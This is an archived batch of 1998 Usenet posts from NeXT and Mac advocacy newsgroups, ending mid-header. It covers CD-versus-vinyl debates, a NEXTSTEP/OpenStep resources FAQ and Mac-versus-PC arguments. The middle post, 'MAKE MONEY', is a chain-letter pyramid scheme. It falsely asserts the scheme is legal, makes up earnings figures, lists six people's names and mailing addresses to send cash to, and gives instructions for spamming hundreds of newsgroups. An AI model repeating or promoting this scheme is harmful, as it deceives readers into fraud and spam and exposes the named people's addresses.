noise during the quiet passages. But nobody listens to music at those
levels -- not when a loud passage could literally deafen you. At ordinary
listening levels, the resolution of CD is sufficient to reproduce the
signal in quite acceptable detail. It's not that CD is perfect (yes, a
couple more bits would be nice so you _can_ crank it if you want). It's
that vinyl's flaws are much more annoying than its dubious virtues. In my
experience, and that of many other people (audiophiles among them), CD's
flaws are less numerous and less intrusive on the listening experience
than vinyl's.
Followups set to rec.audio.opinion, which is definitely where this stuff
should go. It certainly doesn't belong in the Mac newsgroups. ;)
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
A makeover for your Mac every week. http://www.manual.com/tss/
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <11760902635220@digifix.com>
Date: 16 Aug 1998 03:48:21 GMT
Organization: Digital Fix Development
Message-ID: <15411903240023@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
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_________________________________________________________________
Written by:
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Scott Anguish ( sanguish@digifix.com )
Additions from:
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Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: name@something.net
Newsgroups: comp.sys.next.advocacy
Subject: MAKE MONEY
Message-ID: <04089815.5410@something.net>
Date: Tuesday, 04 Aug 1998 15:54:10 -0600
THIS REALLY CAN MAKE YOU EASY MONEY
A little while back, I was browsing these newsgroups, just like you are
now, and came across an article similar to this that said you could make
thousands of dollars within weeks with only an initial investment of
$6.00! So I thought," Yeah, right, this must be a scam", but like most
of us, I was curious, so I kept reading. Anyway, it said that you
send $1.00 to each of the 6 names and address stated in the article. You
then place your own name and address in the bottom of the list at #6, and
post the article in at least 200 newsgroups. (There are thousands) No
catch, that was it. The main difference between this system and others
is that you have a mailing list of 6 instead of 5... This means that
your average gain will be app. 15 times higher!!!
So after thinking it over, and talking to a few people first, I thought
about trying it. I figured what have I got to lose except 6 stamps and
$6.00, right?
Like most of us I was a little skeptical and a little worried about the
legal aspects of it all. So I checked it out with the U.S. Post Office
(1-800-725-2161) and they confirmed that it is indeed legal!
Then I invested the measly $6.00.............plus postage
Well GUESS WHAT!!... within 7 days, I started getting money in the mail!
I was shocked! I still figured it would end soon, and didn't give it
another thought. But the money just kept coming in. In my first week, I
made about $20.00 to $30.00 dollars. By the end of the second week I had
made a total of over $1,000.00!!!!!! In the third week I had over
$10,000.00 and it's still growing. This is now my fourth week and I have
made a total of just over $42,000.00 and it's still coming in
rapidly.......
It's certainly worth $6.00, and 6 stamps, I spent more than that on the
lottery!!
Let me tell you how this works and most importantly, why it
works....also, make sure you print a copy of this article NOW, so you
can get the information off of it as you need it. The process is very
simple and consists of 3 easy steps:
STEP 1: Get 6 separate pieces of paper and write the following on each
piece of paper "PLEASE PUT ME ON YOUR MAILING LIST." Now get 6 US$1.00
bills (or equivalent in your local currency) and place ONE inside EACH
of the 6 pieces of paper so the bill will not be seen through the
envelope to prevent thievery. Next, place one paper in each of the 6
envelopes and seal them. You should now have 6 sealed envelopes,
each with a piece of paper stating the above phrase, your name and
address, and a $1.00 bill. What you are doing is creating
a service by this. THIS IS ABSOLUTELY LEGAL!
Mail the 6 envelopes to the following addresses:
#1 C Meaux
3150 Soft Breezes Dr #2029
Las Vegas NV 89128
USA
#2 J L B
1533 NW 91st Ave #7-24
Coral Springs FL 33071
USA
#3 M J F
450 13th Ave S
Wisconsin Rapids WI 54495
USA
#4 T K
PO Box 73
North Branford CT 06471-0073
USA
#5 Scott G
2603 Triple Crown Dr.
Florence, SC
29505
USA
#6 L C J
9385 Northgate Rd.
Laurel, MD 20723
USA
STEP 2: Now take the #1 name off the list that you see above, move the
other names up (6 becomes 5, 5 becomes 4, etc...) and add YOUR Name as
number 6 on the list.
STEP 3: Change anything you need to, but try to keep this article as
close to original as possible. Now, post your amended article to at
least 200 newsgroups. (I think there is close to 24,000 groups) All you
need is 200, but remember, the more you post, the more money you make!
Don't know HOW to post in the newsgroups? Well do exactly the following:
-----------------------------------------------------------
DIRECTIONS - HOW TO POST TO NEWSGROUPS
-----------------------------------------------------------
Step 1. You do not need to re-type this entire letter to do your
own posting. Simply put your cursor at the beginning of this
letter and click and hold down your mouse button. While
continuing to hold down the mouse button, drag your cursor to the
bottom of this document and over to just after the last
character, and release the mouse button. At this point the entire
letter should be highlighted. Then, from the 'edit' pull down
menu at the top of your screen select 'copy'. This will copy
the entire letter into the computers memory.
Step 2. Open a blank 'notepad' file and place your cursor at the
top of the blank page. From the 'edit' pull down menu select
'paste'. This will paste a copy of the letter into notepad so
that you can add your name to the list. Remember to eliminate the
#1 position, move everyone up a spot (re-number everyone elses
positions), and add yourself in as #6.
Step 3. Save your new notepad file as a .txt file. If you want
to do your postings in different sittings, you'll always have
this file to go back to.
----------------------------------------
FOR NETSCAPE USERS:
----------------------------------------
Step 4. Within the Netscape program, go to the pull-down window
entitled 'Window' select 'NetscapeNews'. Then from the pull down
menu 'Options', select 'Show all Newsgroups'. After a few moments
a list of all the newsgroups on your server will show up. Click
on any newsgroup you desire. From within this newsgroup, click on
the 'TO NEWS' button, which should be in the top left corner of
the newsgroups page. This will bring up a message box.
Step 5. Fill in the Subject. This will be the header that
everyone sees as they scroll through the list of postings in a
particular group.
Step 6. Highlight the entire contents of your .txt file and copy
them using the same technique as before. Go back to the newsgroup
'TO NEWS' posting you are creating and paste the letter into the
body of your posting.
Step 7. Hit the 'Send' Button in the upper left corner. You're
done with your first one! Congratulations...
--------------------------------------------------
INTERNET EXPLORER USERS:
--------------------------------------------------
Step 4. Go to newsgroups and select 'Compose Message'.
Step 5. Fill in the subject.
Step 6. Same as #6 above
Step 7. Hit the 'Post' button.
-------------------------------------------
THAT'S IT! All you have to do is jump to different newsgroupes and post
away, after you get the hang of it, it will take about 30 seconds for
each newsgroup!
**REMEMBER, THE MORE NEWSGROUPS YOU POST IN, THE MORE MONEY YOU WILL
MAKE!! BUT YOU HAVE TO POST A MINIMUM OF 200**
That's it! You will begin receiving money from around the world within
day's! You may eventually want to rent a P.O.Box due to the large amount
of mail you receive. If you wish to stay anonymous, you can invent a
name to use, as long as the postman will deliver it. **JUST MAKE SURE
ALL THE ADDRESSES ARE CORRECT.**
Now the WHY part:
Out of 200 postings, say I receive only 5 replies (a very low example).
So then I made $5.00 with my name at #6 on the letter. Now, each of the
5 persons who just sent me $1.00 make the MINIMUM 200 postings, each
with my name at #5 and only 5 persons respond to each of the original 5,
that is another $25.00 for me, now those 25 each make 200 MINIMUM
posts with my name at #4 and only 5 replies each, I will bring in an
additional $125.00! Now, those 125 persons turn around and post the
MINIMUM 200 with my name at #3 and only receive 5 replies each, I will
make an additional $626.00! OK, now here is the fun part, each of those
625 persons post a MINIMUM 200 letters with my name at #2 and they each
only receive 5 replies, that just made me $3,125.00!!! Those 3,125
persons will all deliver this message to 200 newsgroups with my name at
#1 and if still 5 persons per 200 newsgroups react I will receive
$15,625,00! With a original investment of only $6.00! AMAZING! And as I
said 5 responses is actually VERY LOW! Average is probably 20 to 30! So
let's put those figures at just 15 responses per person. Here is what you
will make:
at #6 $15.00
at #5 $225.00
at #4 $3,375.00
at #3 $50,625.00
at #2 $759,375.00
at #1 $11,390,625.00
When your name is no longer on the list, you just take the latest
posting in the newsgroups, and send out another $6.00 to names on the
list, putting your name at number 6 again. And start posting again. The
thing to remember is, do you realize that thousands of people all over
the world are joining the internet and reading these articles everyday,
JUST LIKE YOU are now!! So can you afford $6.00 and see if it really
works?? I think so... People have said, "what if the plan is played out
and no one sends you the money? So what! What are the chances of that
happening when there are tons of new honest users and new honest people
who are joining the internet and newsgroups everday and are willing to
give it a try? Estimates are at 20,000
to 50,000 new users, every day, with thousands of those joining the
actual internet. Remember, play FAIRLY and HONESTLY and this will work.
You just have to be honest.
Make sure you print this article out RIGHT NOW, also. Try to keep a list
of everyone that sends you money and always keep an eye on the
newsgroups to make sure everyone is playing fairly. Remember, HONESTY IS
THE BEST POLICY. You don't need to cheat the basic idea to make the
money!!
GOOD LUCK to all and please play fairly and reap the huge rewards from
this, which is tons of extra CASH.
From: zeno@magicnet.net
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 16 Aug 1998 08:49:47 GMT
Organization: MagicNet, Inc.
Message-ID: <zeno-1608980451300001@pm51-30.magicnet.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>
In article <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6r4rnr$inu$1@plug.news.pipex.net>, "D.S.Lyon"
> <ybf09@dial.pipex.com> wrote:
>
> > |"The iMac for $1,299 toasts the fastest PC money can buy at any
> > |price--the Pentium II 400," said Steve Jobs, Apple's interim CEO.
>
> The mac is starting to REALLY take off, we are heading for awesome times,
> and yet now we have to deal with a scummy lieing ceo who is telling lies
> as bad as intel.
The Byte and other benchmarks are saying it. Jobs is just repeating the info.
--
If only we knew that money is only an idea. There is no scarcity or loss connected to it. Nothing cost anything.
Date: Sun, 16 Aug 1998 07:09:57 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608980709580001@elk78.dol.net>
References: <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net>
In article <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <kindall-1508981941230001@nic-c41-094.mw.mediaone.net>,
> kindall@mail.manual.com (Jerry Kindall) wrote:
>
> > Trust me, George, CDs sound a _lot_ better on my living room stereo
> > through my Vandersteen 2ce speakers than they sound in here on my computer
> > through a JVC boom box. There is no contest whatsoever.
>
> Don't be ridiculous. OF course they sound better in you living room on
> your vandersteens than they do on a pair of computer speakers. But
> they also sound better on a $500 rack system than they do on a
> $40,000 stereo. LPs, on the other hand, sound better on a $40,000
> stereo system than they do ona $500 rack system. I should know, I have
> a $40,000 stereo system.
> >
> > 16 bit, 44.1 KHz is adequate to reproduce an extremely wide dynamic range
> > and and the entire range of human hearing (in fact, far beyond most
> > adults' capabilities). Vinyl has a dynamic range of about 50 db, is
> > extremely susceptible to noise, and is degraded by repeated playbacks.
> > Also, it's very bulky and has a very limited playing time. No contest --
> > the CD wins.
>
> I already conceded that CDs have wider dynamic range than do records.
> but jesus, they sound like cartoons compared to good analog. No depth,
> no real imaging, poor ambience, steely, unnnatural top end. You can have
> the garbage (but I have to put up with them too. Homo the Sap has decided
> that CDs like PC/Windows is "good enough". Once again leaving those who
> demand excellence out in the cold).
OK. I'm not a serious audiophile, so I'll have to take your word for it.
But if I'm willing to concede that vinyl sounds better than CDs for a very
tiny percentage of people who can discern the difference, will you concede
that the entire issue is irrelevant since the vast majority of PCs are
using such cheesy speakers that any of the subtle differences you're
discussing would never be heard?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 11:11:28 GMT
Organization: UUNET Internet Africa
Message-ID: <35d6b28e.41487482@news.iafrica.com>
References: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <6r2j1d$ilf$1@plo.sierra.com> <joe.ragosta-1408982111560001@elk41.dol.net>
On Fri, 14 Aug 1998 21:11:55 -0400, joe.ragosta@dol.net (Joe Ragosta)
>In article <6r2j1d$ilf$1@plo.sierra.com>, "Earl Malmrose"
>"CD quality" usually refers to something like 20-20,000 Hz at +/- 3 db or
>so. The human ear usually can't hear below 20 or above 20,000 Hz. I could
>dig out my old biology texts, but that's pretty well established fact.
Yes it is, but we aren't talking full-amplitude sine waves here.
40kHz sampling can sustain up to 20KHz audio, just as 600 dpi scanning
can sustain 600 dpi printing. But whereas a graphic artist might
prefer to scan at 1200 dpi if she intended printing out a magnified
version, an audio artist might want to sample higher than 40kHz if she
intended to play the sample back at a lower pitch.
Then there's the resolution; 16-bits for audio, 24-bits for graphics
being the final output standard for CD and JPEG respectively.
Breaking the vertical levels of a complex waveform into 65535 steps
might be acceptable if it is a full-amplitude wave, but what if it's
only 10% of this maximum amplitude? Even with full-volume dance
music, I find the high frequencies (e.g. hi-hat, top of snare, vocal
consonants) get brittle when CDs are J'd at volume and I have to pull
down on the graphic to clean it up.
Classical buffs (particularly performers) always complain that the
recording process flattens the dynamics of the performance. It used
to be necessary to compress the dynamic range to stop gramaphone
needles getting kicked out of the groove by huge bass, or high
frequencies getting fuzzed out on cassette (where the hiss is only
50-60dB away).
Yes, there's no hiss on CD, but the upper limit of dynamic range is
absolute and sound gets "grainy" at the bottom end of those 16-bits.
Finally, most of the above implies that all one wants to do is record
sound material as-is, and play it back. But modern production methods
go beyond boosting and cutting frequencies, compressing or expanding
dynamic range and mixing signals together at different amplitudes.
Digital processing has progressed past gross time-shift
echo/chorus/phase/flange/reverb effects to manipulating audio in
real-time for spatial and other effects. All of these procedures
involve generating new audio from existing *sampled* material, similar
to resizing a bitmap in graphic editing.
And if you have ever seen a 300 dpi bitmap re-sized to 302 dpi and
then magnified to 4000 dpi, you will know that this is going to be
very sensitive to source "resolution" quality heh heh...
Date: Sun, 16 Aug 1998 07:12:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608980712020001@elk78.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <6r3nfr$l4g$1@nnrp1.dejanews.com>
In article <6r3nfr$l4g$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <asiufy-1508980138510001@200.229.243.200>,
> asiufy@uol.com.br (Alexandre A. S.) wrote:
>
> > I believe you didn't get it. I believe George was trying to say,
> > and I also believe that to be the truth, is that PC vendors don't give a
> > shit about writing proper drivers for their products. While the hardware
> > (on the PC side) is top notch, the drivers aren't. And, of course, this
> > isn't the case on the Mac side, maybe in part due to Apple's "strict
> > guidelines", which I hope Mac companies keep following religiously :)
>
> 1) Good vendors write good drivers for their hardware on the PC side.
> 2) Mac drivers don't follow Apple standards terribly well.
Really? Then can you explain why every time NT crashes someone says "you
must have a bad driver" yet my Mac almost never crashes with a driver
problem? (The only major exception on the Mac side was that when the hard
drive formatting software vendors started proliferating a few years ago,
there were some buggy hard disk drivers, but these were generally fixed
pretty quickly.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 16 Aug 1998 07:14:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608980714030001@elk78.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <6r3nfr$l4g$1@nnrp1.dejanews.com> <gmgraves-1508981139470001@sf-usr1-23-151.dialup.slip.net> <6r5hae$v5l$1@nnrp1.dejanews.com> <macghod-1508982051340001@sdn-ar-001casbarp059.dialsprint.net>
In article <macghod-1508982051340001@sdn-ar-001casbarp059.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6r5hae$v5l$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
> > What I "get" is irrelevant to your claim that "Apple makes almost no
> > peripheral hardware these days." Apple makes, AFAIK, keyboards and mice for
> > every desktop system they ship. They also make monitors and printers.
That is
> > a lot of peripherals. If you had said that Apple doesn't make many kinds of
> > peripherals or that Apple makes fewer peripherals than they did a few years
> > ago then your claim would have been correct. But you didn't. I don't
know why
> > you are arguing this. Just say that you misphrased your statement and we can
> > move on.
>
> I am not sure if they make monitors and printers. I think sony makes
> their monitors, then apple just adds some apple circuitary to it. Ditto
> with the printer
What does that mean "apple adds some circuitry to it"?
That is what "making a monitor" is.
You see, you buy parts. Then you assemble them. The company that assembles
them is the one "making" the product. In the case of monitors, Apple
purchased the _tube_ from Sony and in the case of printers, they purchased
the _engine_ from Canon. Then Apple makes a printer or monitor using those
parts.
Of course, I think Apple's getting out of the printer business, so that
example's moot.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 16 Aug 1998 07:14:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608980714520001@elk78.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net> <6r3bol$7h7$1@nnrp1.dejanews.com> <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net> <6r5gq5$ugi$1@nnrp1.dejanews.com>
In article <6r5gq5$ugi$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > I don't know. Certainly the 8600 and 9600's didn't.
>
> Another false claim. I bought a 8600 and Apple didn't offer me the option of
> unbundling the keyboard.
Ours also came with a keyboard.
>
> > I don't know about the
> > G3s.
>
> The Apple store says that they come with a keyboard and mouse.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 11:11:26 GMT
Organization: UUNET Internet Africa
Message-ID: <35d6af93.40724865@news.iafrica.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200>
On Sat, 15 Aug 1998 01:38:22 -0300, asiufy@uol.com.br (Alexandre A.
>In article <6r23ta$ea2$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>> In article <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net>,
> Except that you're able to use just about any monitor with your
>Mac. It DOESN'T have to be Apple's, as you might've implied.
>Unfortunately, things are not the same for keyboard/mice, but now with
>USB, I see that changing too.
We can use any PC monitor, keyboard or mouse on the PC. The worst
that can happen is some value-added features don't work, but then
again, for us a second mouse button is standard already ;-)
Where we have problems at times is in SVGA cards, sound cards and
other alternative internal parts - a game that generally isn't even
played on the Mac ("Why would you want to do that? The system comes
with a 14400 bps modem and display adapter built in anyway!")
One of the defining things about PCs is that they have had expansion
slots from day one. No having to pay a premium for SCSI, no paying
extra for the models with PCI slots years after PCI was standard.
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 11:11:27 GMT
Organization: UUNET Internet Africa
Message-ID: <35d6b123.41124763@news.iafrica.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net>
On Fri, 14 Aug 1998 16:26:22 -0400, joe.ragosta@dol.net (Joe Ragosta)
>In article <6r22ti$bvq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>> In article <nospam-1408980055000001@dhack1-124.cybernex.net>,
>This isn't a flame or anything, but a real question.
>Since CD quality stereo is already better quality than 99% of people can
>pick up, why do you need better than CD quality sound?
Same reason scanners are offering better than 24-bit color.
If you work with sound (or graphics), rather than simply be the
end-consumer of someone else's final output, you will be using raw
material that has wider dynamic range and may be far from optimised to
derive full benefit from available bandwidth.
Then you will mix this raw material and process it further, a process
which consumes some of the detail due to rounding errors etc.
So if you want the final output to be as good as the available
bandwidth can sustain (e.g. say 16-bit/44kHz audio, or 24-bit/1200 dpi
print) then you need to do your work at a higher quality level.
Date: Sun, 16 Aug 1998 07:26:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
